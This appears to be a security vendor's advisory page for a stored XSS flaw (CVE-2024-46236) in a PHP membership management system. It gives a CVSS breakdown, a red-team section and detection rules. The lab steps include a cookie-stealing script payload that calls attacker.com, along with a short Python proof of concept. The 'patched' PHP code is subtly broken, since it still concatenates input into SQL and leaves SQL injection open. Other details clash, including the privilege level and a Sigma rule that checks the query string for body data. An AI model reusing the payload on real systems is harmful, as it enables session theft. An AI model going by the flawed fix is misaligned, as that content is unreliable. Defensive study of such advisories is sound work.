CVE-2024-46236
Executive Summary
CVE-2024-46236 is a stored Cross-Site Scripting (XSS) vulnerability discovered in CodeAstro Membership Management System v1.0. The flaw resides in the address parameter within add_members.php and edit_member.php scripts. An attacker with low privileges can inject arbitrary JavaScript code that executes in the context of any administrator viewing the member list or profile. This can lead to session hijacking, credential theft, or defacement. The vulnerability is publicly documented with proof-of-concept code, yet no official patch has been released by the vendor. The EPSS score is 0.0%, indicating low exploitation likelihood in the wild, but the risk remains for targeted attacks.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This is a standalone PHP application, not an NPM, PyPI, Go, or Ruby package. No supply chain implications are present.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
- Base Score: 6.1 (Medium)
- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: None
- User Interaction: Required (victim must view the malicious member record)
- Scope: Changed (impact on other components)
- Confidentiality Impact: Low
- Integrity Impact: Low
- Availability Impact: None
The medium severity reflects the need for user interaction, but the stored nature makes it persistent and dangerous for administrators.
Deep Dive & Mechanics
The vulnerability is a classic stored XSS. The address parameter in add_members.php and edit_member.php is not sanitized or encoded before being stored in the database and later rendered on pages like view_member.php or the member list. An attacker can submit a payload such as:
<script>alert('XSS')</script>
When an administrator views the member details, the script executes in their browser. The lack of output encoding (e.g., htmlspecialchars() in PHP) allows HTML/JavaScript injection.
Vulnerable vs. Patched Code
Vulnerable Code (add_members.php):
$address = $_POST['address'];
// ... database insert without sanitization
$sql = "INSERT INTO members (address) VALUES ('$address')";
Patched Code (hypothetical):
$address = htmlspecialchars($_POST['address'], ENT_QUOTES, 'UTF-8');
// ... database insert
$sql = "INSERT INTO members (address) VALUES ('$address')";
The patched version uses htmlspecialchars() to encode special characters, preventing script execution. No official patch exists; this is a recommended fix.
Exploitation & Lab Setup
Red Team
- Setup: Deploy CodeAstro Membership Management System v1.0 on a local server (e.g., XAMPP).
- Exploit: Register a new member with a malicious address payload:
<script>fetch('http://attacker.com/steal?cookie='+document.cookie)</script> - Trigger: An administrator views the member list or profile, executing the script.
- Impact: Session cookie theft, admin account takeover.
Proof-of-Concept (PoC) Code:
import requests
target = "http://localhost/membership/add_members.php"
payload = {"name": "test", "email": "test@test.com", "address": "<script>alert('XSS')</script>"}
requests.post(target, data=payload)
Blue Team
- Detection: Monitor for suspicious
addressfield submissions containing<script>,onerror, orjavascript:patterns. - Prevention: Implement input validation and output encoding. Use Content Security Policy (CSP) headers.
- Response: If exploited, rotate all admin sessions, audit member records for injected scripts, and apply the patched code.
Indicators of Compromise (IOCs)
- Network: HTTP POST requests to
add_members.phporedit_member.phpwithaddressparameter containing<script>tags. - Logs: PHP error logs showing unexpected HTML/JavaScript in database fields.
- File: Modified member records in the database with script content in the
addresscolumn. - Behavior: Unexpected outbound HTTP requests from the server to external domains (e.g., cookie exfiltration).
Detection Engineering
YARA Rule
rule CVE_2024_46236_XSS_Address {
meta:
description = "Detects XSS payload in address parameter for CVE-2024-46236"
author = "Valters IT"
date = "2025-01-01"
reference = "CVE-2024-46236"
strings:
$xss1 = /<script[^>]*>.*?<\/script>/is
$xss2 = /on\w+\s*=\s*['"]?[^'"]*['"]?/i
$xss3 = /javascript\s*:/i
condition:
any of them
}
Sigma Rule
title: CVE-2024-46236 XSS in Membership Management System
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects XSS payload in address parameter of add_members.php or edit_member.php
author: Valters IT
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'POST'
cs-uri-query|contains:
- 'add_members.php'
- 'edit_member.php'
cs-uri-query|re: 'address=.*<script'
condition: selection
falsepositives:
- Legitimate use of HTML in address fields (unlikely)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2024-46236 XSS in Membership Management System"; flow:to_server,established; content:"POST"; http_method; content:"add_members.php"; http_uri; content:"address="; http_client_body; pcre:"/<script[^>]*>.*?<\/script>/i"; sid:1000001; rev:1;)
Remediation & Mitigation
- Immediate: Disable the
addressfield input or restrict it to alphanumeric characters only. - Short-term: Apply input validation and output encoding using
htmlspecialchars()in PHP. - Long-term: Upgrade to a patched version if released, or migrate to a supported membership management solution.
- Compensating Controls: Deploy a Web Application Firewall (WAF) with rules to block XSS payloads. Implement Content Security Policy (CSP) headers to restrict script execution.
Valters IT
Securing Digital Frontiers
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.